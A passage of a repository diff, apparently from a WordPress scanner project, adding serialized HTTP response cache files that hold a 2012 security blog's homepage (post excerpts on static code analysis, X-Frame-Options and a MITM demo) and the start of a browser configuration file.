proxy_password:
|
||||
proxy_type:
|
||||
proxy_username:
|
||||
response: *id001
|
||||
ssl_cacert:
|
||||
ssl_capath:
|
||||
ssl_cert:
|
||||
ssl_cert_type:
|
||||
ssl_key:
|
||||
ssl_key_password:
|
||||
ssl_key_type:
|
||||
timeout:
|
||||
url: http://www.ethicalhack3r.co.uk/readme.html
|
||||
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
username:
|
||||
verbose:
|
||||
requested_http_method:
|
||||
requested_url:
|
||||
start_time:
|
||||
start_transfer_time: 0.112111
|
||||
status_message:
|
||||
time: 0.19096
|
||||
305
cache/browser/fc7f0fd0a60236dd144b356a12427c8223875a21
vendored
Normal file
305
cache/browser/fc7f0fd0a60236dd144b356a12427c8223875a21
vendored
Normal file
@@ -0,0 +1,305 @@
|
||||
--- &id001 !ruby/object:Typhoeus::Response
|
||||
app_connect_time: 0.0
|
||||
body: "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\
|
||||
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n\
|
||||
<head>\n\
|
||||
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
|
||||
<meta name=\"generator\" content=\"WordPress 3.4\"/>\n\
|
||||
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
|
||||
<title>ethicalhack3r</title>\n\
|
||||
<link rel=\"pingback\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php\"/>\n\
|
||||
<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" href=\"http://www.ethicalhack3r.co.uk/feed/\"/>\n\
|
||||
<link rel=\"stylesheet\" type=\"text/css\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css\" media=\"all\"/>\n\
|
||||
<link rel=\"shortcut icon\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/favicon.ico\"/>\n\
|
||||
<meta name=\"google-site-verification\" content=\"RQcfuyREDjFzzJ0eFJFnRB4PmdwDxOH0axmVIUHptJI\"/>\n\
|
||||
<link rel='stylesheet' id='wp-pagenavi-css' href='http://www.ethicalhack3r.co.uk/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all'/>\n\
|
||||
<link rel=\"EditURI\" type=\"application/rsd+xml\" title=\"RSD\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php?rsd\"/>\n\
|
||||
<link rel=\"wlwmanifest\" type=\"application/wlwmanifest+xml\" href=\"http://www.ethicalhack3r.co.uk/wp-includes/wlwmanifest.xml\"/>\n \n\
|
||||
<meta name=\"description\" content=\"Ethical Hacking blog for computer security professionals and students.\"/>\n\
|
||||
<meta name=\"keywords\" content=\"hacking, security, information security, cracking, black hat, white hat, wordlist, hackers, digital crime, pen test, penetration test, botnet, worm, virus, information gathering, sniffing, brute force,\"/>\n\
|
||||
<link rel=\"canonical\" href=\"http://www.ethicalhack3r.co.uk/\"/>\n \n\
|
||||
<style type=\"text/css\">.recentcomments a{display:inline!important;padding:0!important;margin:0!important;}</style>\n\
|
||||
</head>\n\
|
||||
<body>\n\
|
||||
<script type=\"text/javascript\">\r\n\
|
||||
\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-3292649-2']);\r\n _gaq.push(['_trackPageview']);\r\n\
|
||||
\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = \r\n\
|
||||
'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : \r\n\
|
||||
'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; \r\n\
|
||||
s.parentNode.insertBefore(ga, s);\r\n })();\r\n\
|
||||
\r\n\
|
||||
</script>\n\
|
||||
<div class=\"topLine\">\n\
|
||||
</div>\n\
|
||||
<div id=\"wrap\">\n\
|
||||
<div id=\"header\">\n\
|
||||
<h1><a href=\"http://www.ethicalhack3r.co.uk\">ethicalhack3r</a></h1>\n\
|
||||
<ul id=\"menu\">\n\
|
||||
<li id=\"home\" class=\"current_page_item\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk\"><span>Home</span>\n\
|
||||
<div class=\"menuLine\">\n\
|
||||
01\n\
|
||||
</div> \n\
|
||||
</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"page_item page-item-2\"><a href=\"http://www.ethicalhack3r.co.uk/about/\">About</a></li>\n\
|
||||
<li class=\"page_item page-item-281\"><a href=\"http://www.ethicalhack3r.co.uk/bookshelf/\">Bookshelf</a></li>\n\
|
||||
<li class=\"page_item page-item-699\"><a href=\"http://www.ethicalhack3r.co.uk/files/\">Files</a></li>\n\
|
||||
<li class=\"page_item page-item-275\"><a href=\"http://www.ethicalhack3r.co.uk/media/\">Media</a></li>\n\
|
||||
<li id=\"rss\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/feed/\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/rss.png\" alt=\"rss feed\" height=\"40px\"/></a>\n\
|
||||
</li>\n\
|
||||
</ul>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
</div>\n \n\
|
||||
<div id=\"main\">\n\
|
||||
<div id=\"primary\">\n\
|
||||
<div class=\"topLine\">\n\
|
||||
</div>\n\
|
||||
<h2>Recent</h2>\n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/\">DevBug – PHP Static Code Analysis</a></h2>\n\
|
||||
<p>My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.</p>\n\
|
||||
<p>Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome <a href=\"http://sourceforge.net/projects/rips-scanner/\" target=\"_blank\">RIPS</a> Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.</p>\n\
|
||||
<p>The IDE used is called <a href=\"http://codemirror.net/\" target=\"_blank\">CodeMirror</a> that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.</p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#more-16810\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 20 May, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#comments\">4 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/\">Old School hacking</a></h2>\n\
|
||||
<p>Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo’ing (Google was largely unknown) for the term ‘hacking’. Back then Yahoo! Chat was still around and had a chat room called the ‘Hackers Lounge’, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI ‘hacking’ tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these ‘hacking’ tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).</p>\n\
|
||||
<p>Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 ‘hacking’ tools that I and others used ‘back in the day’. Warning: Download links not verified.</p>\n\
|
||||
<p><strong>Legion by Rhino9</strong></p>\n\
|
||||
<p>Use: Windows Null Session share scanner.<br/>\n\
|
||||
Released: 1999<br/>\n\
|
||||
Platform: Windows<br/>\n\
|
||||
Further Info: <a href=\"http://www.informit.com/articles/article.aspx?p=26263&seqNum=5\" target=\"_blank\">http://www.informit.com/articles/article.aspx?p=26263&seqNum=5</a><br/>\n\
|
||||
Download: <a href=\"http://packetstormsecurity.org/files/14711/legion.zip.html\" title=\"legion download\" target=\"_blank\">http://packetstormsecurity.org/files/14711/legion.zip.html</a></p>\n\
|
||||
<p><a href=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9.gif\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9-300x229.gif\" alt=\"Legion Rhino9\" title=\"legion_rhino9\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-16768\"/></a></p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#more-16765\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 9 May, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#comments\">10 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/\">X-Frame-Options</a></h2>\n\
|
||||
<p>A colleague <a href=\"http://twitter.com/#!/securityshell/status/188594770925469697\" target=\"_blank\">tweeted</a> a link to a blog <a href=\"http://blog.whitehatsec.com/x-frame-options/\" target=\"_blank\">post</a> by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn’t really know how it was used so I decided to investigate further.</p>\n\
|
||||
<p>X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in <frame> or <iframe> HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate <a href=\"http://en.wikipedia.org/wiki/Clickjacking\" target=\"_blank\">clickjacking</a> (UI redressing).</p>\n\
|
||||
<p>The X-Frame-Options header may have three different values:</p>\n\
|
||||
<p><strong>DENY</strong> – No pages are allowed to be loaded.<br/>\n\
|
||||
<strong>SAMEORIGIN</strong> – Only pages from the same domain are allowed to be loaded.<br/>\n\
|
||||
<strong>Allow-From http://www.example.com</strong> – Only allow frames from www.example.com.</p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#more-16743\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 7 April, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#comments\">5 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/\">Wireless Man In The Middle (MITM)</a></h2>\n\
|
||||
<p>This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless <a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">Main In The Middle (MITM)</a> attack in a coffee shop using a FON+ wireless router, Karma and <a href=\"http://www.digininja.org/jasager/\" target=\"_blank\">Jasager</a>. Oh, and they’re the ones who call me an ‘expert’, personally, I hate the term and would never call myself one.</p>\n\
|
||||
<p><iframe width=\"420\" height=\"315\" src=\"http://www.youtube.com/embed/J6Lch5fhlO4\" frameborder=\"0\" allowfullscreen></iframe></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 13 February, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/#comments\">6 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/\">Prevention of unwanted telemarketing calls</a></h2>\n\
|
||||
<p>I am tired of receiving multiple telemarketing calls per day, I’m tired of the <a href=\"http://www.tpsonline.org.uk/tps/index.html\" target=\"_blank\">Telephone Preference Service (TPS)</a> not having an affect and I’m tired of telecommunication companies charging for prevention features which should be free.</p>\n\
|
||||
<p>I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.</p>\n\
|
||||
<blockquote><p>e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.</p></blockquote>\n\
|
||||
<p>You can help by signing the petition here;<br/>\n\
|
||||
<a href=\"http://epetitions.direct.gov.uk/petitions/17324\" target=\"_blank\">http://epetitions.direct.gov.uk/petitions/17324</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 20 January, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/#comments\">No Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div id=\"morePrev\">\n\
|
||||
<span id=\"prev\"></span>\n\
|
||||
<span id=\"more\"><a href=\"http://www.ethicalhack3r.co.uk/page/2/\">Next Page »</a></span>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
</div>\n\
|
||||
</div>\n \n\
|
||||
<ul id=\"sidebar\">\n\
|
||||
<li class=\"sidebarItem\" id=\"search\">\n\
|
||||
<form method=\"get\" id=\"searchform\" action=\"http://www.ethicalhack3r.co.uk\">\n\
|
||||
<input type=\"text\" name=\"s\" id=\"s\" value=\"\"/>\n\
|
||||
<input type=\"submit\" value=\"\" id=\"searchSubmit\"/>\n\
|
||||
</form> </li> \n\
|
||||
<div class=\"topLine\"></div>\n\
|
||||
<li id=\"twitter-3\" class=\"widget widget_twitter\"><div><h2 class=\"widgettitle\"><span class='twitterwidget twitterwidget-title'>My Twitter</span></h2>\n\
|
||||
<ul><li><span class='entry-content'>The <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a> injects modified BEeF hook into '1337bin.com' to hook Anon members. (reference: <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a>'s timeline)</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222099417115799552\" target=\"_blank\">about 8 hours ago</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/MarcDJay\" class=\"twitter-user\" target=\"_blank\">@MarcDJay</a> I'd be happy with 7Mb right now :) current ISP is 2Mb down/100Kb up, new ISP promises 5Mb down/1Mb up.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222073498124816384\" target=\"_blank\">about 10 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/MarcDJay/statuses/222061035761311746\" class=\"reply-to\" target=\"_blank\">in reply to MarcDJay</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a> not sure if he wants RTing as he's 'protected' ;) it was just a joke about them not having a particular kind of list :) //@ydoow</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222066853927845888\" target=\"_blank\">about 10 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/runasand/statuses/\" class=\"reply-to\" target=\"_blank\">in reply to runasand</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/masontech\" class=\"twitter-user\" target=\"_blank\">@masontech</a> ouch! that's worse than mine! my current upload speed is unbearable so should have a new ISP in the next few days.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222060465658929152\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/masontech/statuses/222059324837597184\" class=\"reply-to\" target=\"_blank\">in reply to masontech</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/ydoow\" class=\"twitter-user\" target=\"_blank\">@ydoow</a> lol this is true! :) // <a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a></span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222058327599886337\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/ydoow/statuses/222057898560327681\" class=\"reply-to\" target=\"_blank\">in reply to ydoow</a></span></span></li></ul></div></li>\n\
|
||||
<li id=\"categories-3\" class=\"widget widget_categories\"><h2 class=\"widgettitle\">Categories</h2>\n\
|
||||
<ul>\n\
|
||||
<li class=\"cat-item cat-item-10\"><a href=\"http://www.ethicalhack3r.co.uk/category/advisories/\" title=\"View all posts filed under Advisories\">Advisories</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-12\"><a href=\"http://www.ethicalhack3r.co.uk/category/espanol/\" title=\"View all posts filed under Espa\xC3\xB1ol\">Espa\xC3\xB1ol</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-11\"><a href=\"http://www.ethicalhack3r.co.uk/category/general/\" title=\"View all posts filed under General\">General</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-9\"><a href=\"http://www.ethicalhack3r.co.uk/category/interviews/\" title=\"View all posts filed under Interviews\">Interviews</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-3\"><a href=\"http://www.ethicalhack3r.co.uk/category/security/\" title=\"View all posts filed under Security\">Security</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-8\"><a href=\"http://www.ethicalhack3r.co.uk/category/toolz/\" title=\"View all posts filed under Toolz\">Toolz</a>\n\
|
||||
</li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"recent-comments-3\" class=\"widget widget_recent_comments\"><h2 class=\"widgettitle\">Recent Comments</h2>\n\
|
||||
<ul id=\"recentcomments\"><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278788\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\">typhoon on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278785\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\">Hi on <a href=\"http://www.ethicalhack3r.co.uk/security/setting-up-tor-on-backtrack/comment-page-1/#comment-278488\">Setting up Tor on BackTrack</a></li><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278341\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\"><a href='http://www.findthisend.com' rel='external nofollow' class='url'>Chic</a> on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278315\">WordPress ‘In the Wild’ and WPScan Update</a></li></ul></li>\n\
|
||||
<li id=\"archives-2\" class=\"widget widget_archive\"><h2 class=\"widgettitle\">Archives</h2>\n\
|
||||
<ul>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/05/' title='May 2012'>May 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/04/' title='April 2012'>April 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/02/' title='February 2012'>February 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/01/' title='January 2012'>January 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/12/' title='December 2011'>December 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/11/' title='November 2011'>November 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/10/' title='October 2011'>October 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/09/' title='September 2011'>September 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/07/' title='July 2011'>July 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/06/' title='June 2011'>June 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/04/' title='April 2011'>April 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/02/' title='February 2011'>February 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/01/' title='January 2011'>January 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/11/' title='November 2010'>November 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/09/' title='September 2010'>September 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/08/' title='August 2010'>August 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/07/' title='July 2010'>July 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/06/' title='June 2010'>June 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/05/' title='May 2010'>May 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/04/' title='April 2010'>April 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/03/' title='March 2010'>March 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/02/' title='February 2010'>February 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/01/' title='January 2010'>January 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/12/' title='December 2009'>December 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/11/' title='November 2009'>November 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/10/' title='October 2009'>October 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/09/' title='September 2009'>September 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/08/' title='August 2009'>August 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/07/' title='July 2009'>July 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/06/' title='June 2009'>June 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/05/' title='May 2009'>May 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/04/' title='April 2009'>April 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/03/' title='March 2009'>March 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/02/' title='February 2009'>February 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/01/' title='January 2009'>January 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2008/12/' title='December 2008'>December 2008</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2008/11/' title='November 2008'>November 2008</a></li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"linkcat-7\" class=\"widget widget_links\"><h2 class=\"widgettitle\">Links</h2>\n\
|
||||
<ul class='xoxo blogroll'>\n\
|
||||
<li><a href=\"http://www.randomstorm.com/penetration-testing.php\" target=\"_blank\">Penetration Testing</a></li>\n\
|
||||
<li><a href=\"http://www.dewhurstsecurity.com\" target=\"_blank\">Web Application Security Assessment</a></li>\n\
|
||||
<li><a href=\"http://www.webwordcount.com\" target=\"_blank\">Website Word Count</a></li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"text-8\" class=\"widget widget_text\"> <div class=\"textwidget\"><div align=\"center\">\n\
|
||||
<a href=\"http://www.bletchleypark.org.uk/content/contact/donation/support.rhtm\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/09/238614.jpg\"></a>\n\
|
||||
<br/>\n\
|
||||
<br/>\n\
|
||||
<a href=\"http://www.eff.org/\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/11/EFF-logo-trans.gif\"></a>\n\
|
||||
</div></div>\n\
|
||||
</li>\n\
|
||||
<li id=\"text-5\" class=\"widget widget_text\"> <div class=\"textwidget\"><br/><p align=\"center\"><a href=\"http://feeds.feedburner.com/EthicalHack3r\"><img src=\"http://feeds.feedburner.com/~fc/EthicalHack3r?bg=84BEFF&fg=000000&anim=0\" height=\"26\" width=\"88\" style=\"border:0\" alt=\"\"/></a></p></div>\n\
|
||||
</li>\n\
|
||||
</ul>\n </div>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
<div id=\"footer\">\n\
|
||||
<div class=\"copyright\">Copyright © 2008-2012 Ryan Dewhurst</div>\n\
|
||||
</div>\n \n\
|
||||
</div>\n \n\
|
||||
</body>\n\
|
||||
</html>\n \n \n"
|
||||
code: 200
|
||||
connect_time: 0.083137
|
||||
curl_error_message: No error
|
||||
curl_return_code: 0
|
||||
effective_url: http://www.ethicalhack3r.co.uk/
|
||||
headers: |
|
||||
HTTP/1.1 200 OK
|
||||
Server: cloudflare-nginx
|
||||
Date: Mon, 09 Jul 2012 08:15:23 GMT
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
||||
X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php
|
||||
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
||||
Pragma: no-cache
|
||||
Last-Modified: Mon, 09 Jul 2012 07:25:42 GMT
|
||||
Vary: Accept-Encoding
|
||||
Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
|
||||
Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
|
||||
Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
|
||||
Content-Encoding: gzip
|
||||
|
||||
|
||||
http_version:
|
||||
mock: false
|
||||
name_lookup_time: 0.002119
|
||||
pretransfer_time: 3.4e-05
|
||||
request: !ruby/object:Typhoeus::Request
|
||||
after_complete:
|
||||
auth_method:
|
||||
body:
|
||||
cache_timeout: 600
|
||||
connect_timeout:
|
||||
disable_ssl_peer_verification: true
|
||||
follow_location:
|
||||
handled_response:
|
||||
headers:
|
||||
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
|
||||
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
max_redirects:
|
||||
method: :get
|
||||
on_complete:
|
||||
params:
|
||||
parsed_uri: !ruby/object:URI::HTTP
|
||||
fragment:
|
||||
host: www.ethicalhack3r.co.uk
|
||||
opaque:
|
||||
password:
|
||||
path: /
|
||||
port: 80
|
||||
query:
|
||||
registry:
|
||||
scheme: http
|
||||
user:
|
||||
password:
|
||||
proxy:
|
||||
proxy_auth_method:
|
||||
proxy_password:
|
||||
proxy_type:
|
||||
proxy_username:
|
||||
response: *id001
|
||||
ssl_cacert:
|
||||
ssl_capath:
|
||||
ssl_cert:
|
||||
ssl_cert_type:
|
||||
ssl_key:
|
||||
ssl_key_password:
|
||||
ssl_key_type:
|
||||
timeout:
|
||||
url: http://www.ethicalhack3r.co.uk/
|
||||
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
username:
|
||||
verbose:
|
||||
requested_http_method:
|
||||
requested_url:
|
||||
start_time:
|
||||
start_transfer_time: 0.224407
|
||||
status_message:
|
||||
time: 0.317425
|
||||
54
conf/browser.conf.json
Normal file
54
conf/browser.conf.json
Normal file
@@ -0,0 +1,54 @@
|
||||
{
|
||||
"user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0",
|
||||
/* Modes :
|
||||
static : will use the defined user_agent for each request
|
||||
semi-static : will randomly choose a user agent into available_user_agents before each scan
|
||||
random : each request will choose a random user agent in available_user_agents
|
||||
*/
|
||||
"user_agent_mode": "static",
|
||||
// Uncomment the next line to use the proxy
|
||||
//"proxy": "127.0.0.1:3038",
|
||||
"cache_timeout": 600, // 10 minutes, at this time the cache is cleaned before each scan. If this value is set to 0, the cache will be disabled
|
||||
"request_timeout": 2000, // 2s
|
||||
"max_threads": 20,
|
||||
